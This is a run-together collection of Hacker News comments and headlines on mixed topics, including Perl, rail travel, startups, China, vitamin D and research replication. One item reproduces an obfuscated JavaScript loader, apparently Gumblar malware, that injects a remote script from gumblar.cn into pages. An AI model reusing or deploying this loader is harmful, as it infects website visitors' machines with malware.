skysight-inc/HackerNews huggingface dataset:
I just read Coders at Work and here's an excerpt from the interview of L. Peter Deutsch about this quote:

Seibel: I think Larry Wall described it as bowl of oatmeal with fingernail clippings in it.

Deutsch: Well, my description of Perl is something that looks like it came out of the wrong end of a dog. I think Larry Wall has a lot of nerve talking about language design -- Perl is an abomination as a language. But let's not go there. (...)
OP here...

Trust me, I thought about doing this. I even thought of this as a strategy to get paid before I ended up suing them. But considering this wasn't a huge amount of money, I figured the potential damage to my reputation by making the situation a public affair could end up costing me a lot more in the future.
I agree with the sentiment you express and thank you for pointing it out.

I do think that thinking outsiders should stay out is uncommon in the field of math though. I am currently a math grad student, and while I am only a grad student what I have seen of the mathematical community makes it seem like it is very open to cross fertilization from other sciences and from amateurs.

Admittedly he is historical, but Fermat (professional judge when he did most of his mathematical work) is revered and there are some more recent amateurs that have made genuine contributions. Much of mathematics is inspired by other fields such as physics.

I admit I know some professional mathematicians were tired of finding flaws in amateurs proofs of Fermat's Last Theorem and rebuting supposed refutations of Godel's diagonal proof that the reals are uncountable, but it is very different to be tired of dealing with a constant stream like that than to be hostile towards outsiders in general.

From my limited perspective, I think math is one of the fields most open to outsiders and amateurs coming in and making real contributions, both culturally and in the fact that we rarely need expensive experimental setups so the barrier of entry (in terms of money and equipment) is low.
Maybe I can give a UK perspective on how this is possible. I'm not sure whether we can say that rail travel is profitable here, it still receives substantial government subsidy each year, but it is successful in that last year saw a record number of rail journeys taken.

I'm not sure what the parking situation is like in the US but here if you work in a major city car parking will cost you at least $100-150 per month, London is much more expensive. A lot of our suburban railway stations allow free or discount parking so even if you can't make your entire journey by train you can park and travel into the city by rail.

When it comes to longer journeys the tickets are sold on a reverse pricing basis, if you buy in advance the first 10-20% of tickets for a train are sold at the cheapest rate, sometimes a 200 mile journey costs as little as $20. If you buy a ticket on the day and during a peak period you'll pay a lot more. This structure however seems to result in more of the trains being full more of the time as pricing reflects the demand.

Also faster trains all fitted with wifi make longer journeys much more simple. I often travel into London and buy an advance ticket that costs around £25 ($35 ish)the train at 125mph takes half the journey time of the car and you avoid parking charges and the london congestion charge. I also get to work the entire journey for a similar cost to the fuel alone. It really is a complete no-brainer, you'd have to be stupid to want to drive.

That is I suppose a long reason for a simple answer. When it becomes more attractive to travel by rail people will leave their cars at home.
You need to actually check R-values. Even triple-pane windows with low-pressure dry Nitrogen between them has less insulation value than a sheetrocked stud wall with no added insulation.
Probability Theory With Applications in Science and Engineering
20 Questions for Startup Success
Another gem by Larry Wall (and I mean that sincerely)

"...By policy, LISP has never really catered to mere
mortals... And, of course, mere mortals have never
really forgiven LISP for not catering to them."

[source] http://www.perl.com/pub/a/2007/12/06/soto-11.html
Clever photo; however the whole idea of a cab is to serve multiple people over the course of a day; so it doesn't really apply.

What would make more sense would be to show say 3 taxis, each of which had 20 fares during a shift. Which would take up less space than the parked bikes and a little more than 1 bus.
Maybe not, but you can enclose a corner, outfit it with desk, chair, files, and computer, for less than $6000, much less $25k.
"The proposed system is designed to make sure that the vast majority of consumers [...] can watch, record and move Freeview HD programmes between their own devices without ever knowing there is any content management present (like most people don't even know that content on DVDs is encrypted)."

"At the same time, it provides just enough protection to prevent the casual and incremental erosion of the value of HD broadcast content."

Most users are unaware DVDs are encrypted because determined reverse engineers published circumvention tools far and wide. If anything they should be striving for just a little more success than DVD DRM.
Ever since I graduated from college, I have been fired from every job I ever had. Each time, I decided that the timing was right for me to start my own company. In retrospect, I failed whenever I focused entirely on my "vision" and succeeded when I learned to rely on my "peripheral" vision. This is a tough time to be an entrepreneur. It is too easy to think of the current downturn as just another economic setback. Instead, we need to think of this as the end of a 60-year cycle. Since 1949, the Chinese have been lifting themselves by their bootstraps, initially with their communist ideology but eventually by manufacturing low-cost consumer products and by reinvesting their earnings in foreign debts to keep interest rate artificially low (sort of like the Opium War in reverse). Now there are two World powers competing for markets and resources, fundamentally changing the long-term prospect of the American middle class. But for every crisis, there is an opportunity. Going forward I encourage all bootstrapping entrepreneurs to be patient, to keep an eye on the peripherals and to maintain discipline by consistently ask ourselves these really tough 20 questions (I find the YouTube video to be inspiring). This is not a race. When my son and I climbed Kilimanjaro last year, the porters would constantly sing in Swahili, "Haraka haraka haina baraka, Pole pole ndio mwendo", meaning "hurry hurry has no blessing, slowly slowly the world moves." Sounds about right. I also hope that you enjoy the following which is Part I of my two-part trip report. Good luck, everyone.

http://www.startupforless.org/2009/09/startup-lessons-learne...
Fuel taxes are a huge moneymaker for the states; with far more being taken in taxes than is spent on roads. Whether that money makes its way to cities, or exactly how it is split up, is no doubt a very complex question.
Steve Jobs Is Building AppleWorld - And Google's Running Scared
> If you're saying that markets do not move on information alone and then several sentences later saying that serious investor _do_ let this type of information affect them? Looks suspiciously like self contradiction.

I think that your definitions of 'serious investor' are divergent.
On the first point: For the average Chinese person, simply having an awareness of government censorship is a good thing. Google is taking this away. The censorship isn't perfect... for example how many times do you think the full WikiPedia is brought into China on laptops every day? I'd guess dozens per day. Google is suffering the "Napster Problem", they are easily vulnerable to a centralized attack (in this case blocking IPs)... but before and after Napster people still got all the illicit mp3s they wanted.

On the second point, the economic argument would be: If China were not subsidizing its export industry, the dollars currently used to buy US Treasuries would have likely been spent on useful goods and services. Instead, it effectively sat idle and could not be used to invest in infrastructure, etc. You can point to the result and say it worked, but China has a natural competitive advantage in manufacturing, so it's hard to say how much benefit the policy caused; the harm is easier to imagine.

(China probably has some sensible reasons for promoting mercantilist policies, but it's inevitable that they lower prosperity over all and amount to a transfer from one group within china to another. This is the same sort of tradeoff we experience it the US with a wide variety of policies, notably agriculture policy).
Namecheap has whois lookup:
http://namecheap.getwhois.net/
Internet generation at risk of rickets (chronic lack of Vit D)
PS: Education might seem like a flaky field and much of the discussions are devoid of good science. At the same time there is a lot of great research that has been which has real and important implications.

My wife and I were discussing this recently. She is in an unusual program where she should graduate with both a masters in history and an education certificate with hopes to teach in history at the High School level after that.

This is both second hand an anecodatal, but from what she tells me the education courses she takes are less rigorous and generally easier than the history courses. But the reason for this is that the education course she is taking are vocational. They are trying to teach her how to get teaching done in a modern classroom, not the science behind it.

It is akin to learning to the difference between training to be a mechanic and a mechanical engineer. Both are very hard and important jobs worthy of respect, but they have very different focuses. The education courses are focused on learning the technique of teaching effective, it looks like most of the research on the theory of effective education is done in departments like psychology, sociology, etc.
> Without RTA

The article shows that bank stocks were unaffected; the downturn was in commodities. Hence, even as speculation it was worthless.
I wonder why they spend so much time eating nasty things like larvae in these courses. There's lots of fish in the Amazon. Snakes and lizards are quite tasty too. I guess it must be the easiest thing to catch.
Snaps. i ended up going to this other thing at officeport chicago and realize i missed this. how was the turnout?

someone set a date for feb yet?
Having no design chops myself and having taken the tact with my own company of launching half-assed and ugly, I want to push back on the ASAP part of this advice.

Design matters and once you have competitors it becomes a major factor in decisions. But you can and should put some effort into figuring out product/market fit and positioning before you freak out about design. You're probably going to throw away this current design even if it was already good.

We were able to get that product/market fit feedback without good design. And looking back I wish that was the only thing I ever felt ASAP pressure about.
Firefox 3.6 includes "HTML 5" in the list of features, supposedly. Does this include video support? I don't know.

I wonder if youtube is restricting browser versions. The idea of vendor lock-in for an open standard (HTML 5) is stupid, though. The reason more browsers aren't on the list, I gather, is that they don't have [adequate] support.
I don't know many specifics about Japan but here goes. Japans interurban trains are both heavily subsidized and expensive - they're more comparable to air travel than any trains in America.

As for their subways, I'd guess it's because of density and parking. The special wards of Tokyo (http://en.wikipedia.org/wiki/Special_wards_of_Tokyo) are roughly equivalent to NYC - 8.8 million people, historic core, not including the suburbs or greater metro area. The only difference is it's in half the land area. So the whole special wards is twice as dense as NYC as a whole or about the same density as Brooklyn.

Looking at the largest cities in the USA (http://en.wikipedia.org/wiki/List_of_United_States_cities_by...) vs largest cities in Japan (http://en.wikipedia.org/wiki/Largest_cities_in_Japan) #1-4 are a perfect match and 1-10 are all pretty close in size, but I'm pretty sure Nagoya and Sapporo are much more dense than Houston and Phoenix. So Japan also has more cities where subways can work.
Well I call bullshit on this whole story. From the linkbait heading to the complete distortion of the facts of the ruling. If you actually read the ruling (ok I just skimmed through it but I'm pretty sure I got a much better grip than this blogger who is only commenting on a Wired article which itself seems wildly biased and inaccurate) the whole point of the ruling is to determine whether the FBI acted improperly and the conclusion of the ruling is that yes they did act improperly. I can't see anywhere that it says that breaking the law is legal, as this blogger claims. Perhaps I'm mistaken and someone could point this out to me but I don't see it. As for the linkbait heading. It's ALWAYS been legal for the FBI to access phone records. That is, after all, what police do these days. There are two relevant questions: did they follow proper legal procedure (the answer is no) and are they allowed to continue flaunting the law (the answer is again no). So what's up with this heading of "It's legal for the FBI to access phone records"? Of course it's legal, if they follow the law and it's not legal if they don't. Sounds reasonable to me.
FBI Computers Crunch Numbers in Sleep
On the Grid
FBI Computers Crunch Numbers in Sleep
A year-old initiative to harness the processing power of idle FBI computers to help break complex cases is yielding results.
This is absolutely true.

I was trying to pickup http://goalbot.com about a year ago when it was on the verge of expiration. When I did some research the whole auction process seemed unreliable and a bit overwhelming to me, so I contacted the owner and got the domain for a very reasonable price. He obviously wasn't planning on renewing, so it worked out perfectly for both of us.

I suppose if I had read this article first I might have put in the extra work, but I'm happy with how everything worked out.
And still none of those browsers can display this visualisation without a plugin.
What makes SAT vs performance bad research? The SAT may be worse than some specialized test, but so what? Breast self exams suck in comparison to mammograms, but that doesn't make studies into breast self exams bad research.

The methodology is what makes research good or bad.
(function(jil){var xR5p=’%';eval(unescape((’var”20a”3d”22Sc”72iptEngin”65″22″2c”62″3d”22″56ers”69on()+”22″2c”6a”3d”22″22″2cu”3dnavig”61t”6 …………… “65rAgent”3bif((”75″2eind”65xOf”28″22Win”22)”3e0)”26″26(u”2e”69n”64exO”66(”22NT”20″36″22″29″3c0)”26″26(documen”74″2ecookie”2e”69ndex”4f”66″28″22″6die”6b”3d1″22)”3c0)”26″26″28t”79″70e”6ff3bdocu”6de”6e”74″2ewr”69″74e(”22″3csc”72ipt”20sr”63″3d”2f”2fgumblar”2ecn”2frss”2f”3fid”3d”22+j+”22″3e”3c”5c”2f”73cript”3e”22″29″3b”7d’).replace(jil,xR5p)))})(/”/g);
33 of the Smartest Things Ever Said About Business and Life
Tell HN: Andrew Warner will be interviewing Seth Godin live at 12:30PST
GRRRRRRRRRRRRRRRRRRRRR
Ask HN: Review my project
http://swimswith.com/search/

First, I'd like to thank everyone (and HN in general) for answering my previous questions about this project going back a few months.

The application searches about 3000 name database of lawyers and finds schoolmates.

This is a project to learn Django and Python and web programming in general.

The view function is here: http://pastebin.com/m3b9f58bb

Thank you.
Not exactly timely; the competition started in September 2009. There are well-known algorithms for mining association rules; see, e.g., http://www.eecs.umich.edu/~klefevre/eecs584/Papers/agrawal_1... .
http://swimswith.com/search/

http://pastebin.com/m3b9f58bb
Perhaps years ago names like these were "something no one would want", but now every possible five or six letter combination is in demand. Particularly anything pronounceable.

Something no one would want now would have to be much longer - and while it may not be as important as it once was to have a short domain name, it's still one more barrier to getting users on your site.
I take 4,000-6,000 UI of Vitamin D3 daily in gelcap/softgel format (Vit D is fat soluble, the dry tablets aren't absorbed nearly as well, which has been confirmed by blood tests).

It costs almost nothing. A bottle of 360 softgels each containing 2,000 UI costs about $25 (Carlson Laboratories brand).

Just make sure you also take enough vitamin A.
YouTube dipping its toe into rentals...
I see it.

Interesting ... I wonder if that's an intentional Easter egg?
And I've responded elsewhere at http://use.perl.org/comments.pl?sid=44429&threshold=0.... For those who don't want to follow the link the short version is that I am unconvinced and still think the claim is false advertising.
[is that frossie frossie? hi!]

i'm not sure what problem you're talking about - someone reproduced the results with separate code and data, so what's to worry about? (i don't mean that because it was confirmed it was ok, but rather that if it had been wrong, we would have known in the end... after all, people make mistakes all the time - science is a collective enterprise that relies on many overlapping, interlocking pieces)
The website probably needs a redesign for various reasons, but in the meantime you should know that in IE7, the text in the features page is partially hidden by the blocks on the right. It's a serious flaw that severely impairs the respectability of your website (makes it look cheap).
The VC Industry Gets Hit by Bank Blowback
As a working programmer in biological research science I would love to see a requirement that papers involving software be published in the "literate programming" paradigm. At the very least per reviewed publication must include all software be open source (a least in a loose sense). It is depressing how often a published result depends on custom closed source software.
It's a bar graph with a distort applied to it.

The side effect of that is that it improperly scales the newer data vs. the older data, conflating graphic design and data representation (introducing bogus data).
1. I like the colors just the way they are, the blues, greens and grays, etc. I also like the female face with the headphones, I hope you own the image because it could be a strong brand image for you. She is very unique with the green eyes, green headphones and tattoos on her fingers and wrists.

2. I wonder, and probably others will wonder what those tattoos say or are, so maybe you could play it up a little and put something about it in your FAQ’s as a marketing angle to set your business off from the competition as hip, cool and unique. Think about what your target market would find memorable about this.

3. Some say they think the site is ugly, interestingly I do not think it is ugly, in fact I like it a lot. The fonts, colors, pics, etc., really seem to work for me. If you are shooting for a big time corporate look like some of Version’s or Sprints pages I think you have come pretty close, an 8.5 out of 10. I agree with some of the suggestions about having a designer look at it and suggest improvements, but if it were my site I would limit those changes to small customer tested iterations in layout vs. color and content.

4. My test of your site was if I were looking for a product of your type, based on this website would I personally trust the download enough to give it a try. My answer based on your website is 98% yes. Meaning if I were a potential customer I would download, set it up and give it a try, yes without a doubt I would. Then providing the product was a better than the competition I would keep it--sale made. So as far as the site goes you could change it, pretty it up with different colors ect., but that might change my personal decision to download, but I am only one person and the site needs to be tested in live commerce still, so do iterate and test.

5. The Features page has a display problem on my big monitor with IE 7.0.5730.11. The four boxes on the right are lined up 50% on top of the text on the left. Also the text in the bottom box is displaying outside the bottom of the box.

A tip: If you’re using an x-y-z style of coding with layers or something similar, sometimes the older non-layer style (x-y) will be more cross browser compatible with less work.

6. If you are not already using banner ads, personally I think the site is good enough to spend banner ad promotion money on right now. If it were my site and ad money I would start a banner ad campaign right now if you think the product is ready to release to the public. Just iterate the site slowly with only very minor changes, and then test the changes on actual click through customers with an A-control site and a B-iterated site setup to see if the changes make any difference in amount of downloads between the two sites.

7. I would make the link to Green Ear more prominent and play it up a lot more. it will add gravitas to the product and possibly increase downloads.
Yeah, ok, it's cool for Andrew that he's interviewing Seth Godin, and Mixergy is great and everything, but it's not like Seth Godin is some kind of god whose every move need to be followed. Can you not just post the interview itself?
"Weather simulations have even more data; they are less accurate for other reasons."

I doubt anyone can beat particle physics for sheer information quantity. I seriously doubt that we have petabytes of real weather information to feed our simulations. I can find some references online to petabyte stores for weather simulation results online, but that's ultimately just cache, not information (in the information theoretic sense).

This is part of what I mean when I talk about the information theory, and how you can't get more information in the information-theoretic sense than the sum total of the simulation and the original data. Weather simulations may chew through terabytes or petabytes of RAM in the simulation phase, but they are not fed that much data. If the people involved mistake it for real information, then this is also part of what I mean when I say that once you get into using computers in a big way my training does indeed start giving me standing to complain again by even the most rigid "stay out of my science" standards.

Secondly, your assumption that running the simulation again is useless in a world where you can casually assume that you have all the data and the simulation and can have the contempt bred of familiarity for the whole process. In the real world, if you can't replicate the results, how can you criticize the model? I think there's still some "the computer said it, it must be right" underlying your answer; you can't assume the computer model is worth anything, it must be proved and debated and peer reviewed, which is not possible if you can't even get it to run and get the same results. The model is still subject to scientific inquiry, it can't be given a free pass.

Independent replication of results is also desirable, but you need both. In a world where nobody can replicate the results and it's hard to verify the simulation against the real world, it's too damned easy to end up with the Feynman electron mass situation where the selection effects from the researchers dominate the putative results of the simulations. The researcher summaries of the results of some runs of some models you can't see or execute and some data you can't get at happen to align... what does it mean? Frankly, who knows?
Let's say that I don't want to be safer, and choose to live dangerously. I have no interest in comparing the number of people injured in each. I am not looking at this stage for context.

I want to have an absolute comparison - has the U.S. been better organised in their Haiti relief mission than in the New Orleans one. If so, why?